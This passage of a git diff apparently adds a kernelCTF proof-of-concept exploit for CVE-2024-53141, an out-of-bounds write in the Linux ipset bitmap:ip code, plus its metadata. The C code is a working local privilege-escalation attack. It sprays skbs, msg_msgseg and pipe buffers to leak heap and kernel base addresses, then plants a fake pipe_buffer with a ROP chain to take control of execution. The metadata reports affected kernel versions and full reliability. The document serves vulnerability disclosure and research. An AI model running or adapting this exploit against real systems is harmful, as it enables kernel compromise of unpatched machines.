AF_INET); + + // Read skbs contents to leak oob write value which is kernel heap address + // We use MSG_PEEK, so it won't free skb + for (int i = 0; i < 0x100; i++) + { + recv(spray_fd[i][0], buf, 0x80, MSG_PEEK); + if (buf[0]) + pipe_buf_addr = *(size_t *)(&buf[0]); + recv(spray_fd[i][1], buf, 0x80, MSG_PEEK); + if (buf[0]) + pipe_buf_addr = *(size_t *)(&buf[0]); + } + printf("leak heap addr 0x%lx\n", pipe_buf_addr); + if (pipe_buf_addr == 0) + { + exit(0); + } + + // We choose a guess addr, hope its under kmalloc-cg-1024 + // Later we will reclaim it as pipe_buf + pipe_buf_addr &= ~(0x10000000 - 1); + printf("Our guess kernel heap addr 0x%lx\n", pipe_buf_addr); + + + for (int i = 0; i < 0x1000; i++) + { + sprintf(name, "x%d", i); + if (i == 0x800) + { + // if reach target loop, we spray a lot kmalloc-cg-2048 msg_msgseg ahead + for (int i = 0; i < 0x1000; i++) + SYSCHK(msgsnd(msqid[i], &msg, 0x1000 - 0x30 + 0x800 - 0x8, 0)); + } + // allocate target ipset + create_ip_set_kmalloc_2048(sock_fd, name, "bitmap:ip", AF_INET,i == 0x800); + // set bit to each ipset in order to make oob write stop + add_ip_to_set(sock_fd, name, "A", AF_INET,htonl(-0x40 + 0x3b)); + if (i == 0x800) + { + // if reach target loop, we spray a lot kmalloc-cg-2048 msg_msgseg after allocating target ipset + for (int i = 0; i < 0x1000; i++) + SYSCHK(msgsnd(msqid[i + 0x1000], &msg, 0x1000 - 0x30 + 0x800 - 0x8, 0)); + } + + } + + // trigger oob write to overwrite next chunk(msg_msgseg's next) as our guessed addr + trigger_oob_write(sock_fd, "x2048", "A", AF_INET); + + // free all msg_msgseg, it also free our guessed addr + // we don't need to read to prevent stuck at deadloop + char* read_only = SYSCHK(mmap(0,0x1000,PROT_READ,MAP_ANON|MAP_PRIVATE,-1,0)); + for (int i = 0; i < 0x2000; i++) + msgrcv(msqid[i], read_only, 0x1000 - 0x30 + 0x800 - 0x8, 1, IPC_NOWAIT); + + // We reclaim our guessed addr as pipe_buf + for (int i = 0; i < NPIPE; i++) + SYSCHK(pipe(pipe_fd[i])); + + // write data on pipe to leak kernel base address + for (int i = 0; i < NPIPE; i++) + { + SYSCHK(write(pipe_fd[i][1], buf, 0x1000)); + } + + + // read and free skb, + // if it has non-null contents, it means it should be pipe_buf + for (int i = 0; i < 0x400; i++) + { + for (int j = 0; j < 0x100; j++) + { + read(spray_fd2[i][0], buf, 0x200); + KERNEL_BASE = *(size_t*)&buf[0x10]; + + if(KERNEL_BASE) + break; + + read(spray_fd2[i][1], buf, 0x200); + KERNEL_BASE = *(size_t*)&buf[0x10]; + if(KERNEL_BASE) + break; + } + if(KERNEL_BASE) + break; + + } + + // leak kernel base + KERNEL_BASE -= ANON_PIPE_BUF_OPS_OFF; + printf("KERNEL_BASE %lx\n", KERNEL_BASE); + + // craft pipe_buffer with rop chain + build_fake_pipe_buffer_with_rop_chain(pipe_buf_addr, (char *)buf); + + // reclaim target chunk as skb with our contents + for (int i = 0; i < 0x100; i++) + { + SYSCHK(write(spray_fd[i][1], buf, 0x200)); + } + + // free pipe_buf to control RIP and do ROP + for (int i = 0; i < NPIPE; i++) + { + close(pipe_fd[i][0]); + close(pipe_fd[i][1]); + } + + return EXIT_SUCCESS; +} diff --git a/pocs/linux/kernelctf/CVE-2024-53141_lts/metadata.json b/pocs/linux/kernelctf/CVE-2024-53141_lts/metadata.json new file mode 100755 index 00000000..75fb6ebd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-53141_lts/metadata.json @@ -0,0 +1,35 @@ +{ + "$schema":"https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids":[ + "exp205" + ], + "vulnerability":{ + "patch_commit":"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=35f56c554eb1b56b77b3cf197a6b00922d49033d", + "cve":"CVE-2024-53141", + "affected_versions":[ + "2.7 - 6.12" + ], + "requirements":{ + "attack_surface":[ + "userns" + ], + "capabilities":[ + "CAP_NET_ADMIN" + ], + "kernel_config":[ + "CONFIG_IP_SET_BITMAP_IP" + ] + } + }, + "exploits": { + "lts-6.6.62": { + "uses":[ + "userns" + ], + "requires_separate_kaslr_leak": false, + "stability_notes":"10 times success per 10 times run" + } + + } + } + diff --git a/pocs/linux/kernelctf/CVE-2024-53141_lts/original.tar.gz b/pocs/linux/kernelctf/CVE-2024-53141_lts/original.tar.gz new file mode 100644 index 00000000..0ffd0748 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-53141_lts/original.tar.gz differ